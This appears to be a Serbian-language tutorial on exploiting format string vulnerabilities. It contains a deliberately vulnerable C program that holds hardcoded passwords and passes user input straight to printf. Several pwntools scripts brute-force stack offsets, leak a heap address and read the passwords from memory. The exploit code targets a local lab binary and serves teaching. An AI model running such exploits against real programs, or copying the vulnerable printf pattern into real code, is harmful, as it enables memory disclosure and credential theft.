from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Offset je 11 zato što je postavljanje nekoliko A i brute-forcing sa petljom offseta od 0 do 50 otkrilo da je na offsetu 11 i sa 5 dodatnih karaktera (cevi | u našem slučaju) moguće kontrolisati punu adresu.
Koristio sam %11$p sa paddingom dok nisam dobio da je adresa sve 0x4141414141414141
Format string payload je PRE adrese zato što printf prestaje da čita na null bajtu, tako da ako pošaljemo adresu, a zatim format string, printf nikada neće doći do format stringa jer će null bajt biti pronađen pre
Odabrana adresa je 0x00400000 jer je to mesto gde binarni fajl počinje (bez PIE)
Pročitajte lozinke
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Kompajlirajte to sa:
clang-ofs-readfs-read.c-Wno-format-security
Read from stack
stack_password će biti smešten u stek jer je lokalna promenljiva, tako da je dovoljno samo zloupotrebiti printf da prikaže sadržaj steka. Ovo je eksploatacija da se BF prvih 100 pozicija kako bi se otkrile lozinke iz steka:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
U slici je moguće videti da možemo da iscurimo lozinku iz steka na 10. poziciji:
Čitanje podataka
Pokretanjem istog eksploita, ali sa %p umesto %s, moguće je iscuriti adresu iz heap-a iz steka na %25$p. Štaviše, upoređujući iscurenu adresu (0xaaaab7030894) sa pozicijom lozinke u memoriji u tom procesu možemo dobiti razliku adresa:
Sada je vreme da pronađemo kako da kontrolišemo 1 adresu u steku da bismo joj pristupili iz druge ranjivosti format string-a:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
I moguće je videti da u try 14 sa korišćenim prolazom možemo kontrolisati adresu:
Exploit
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()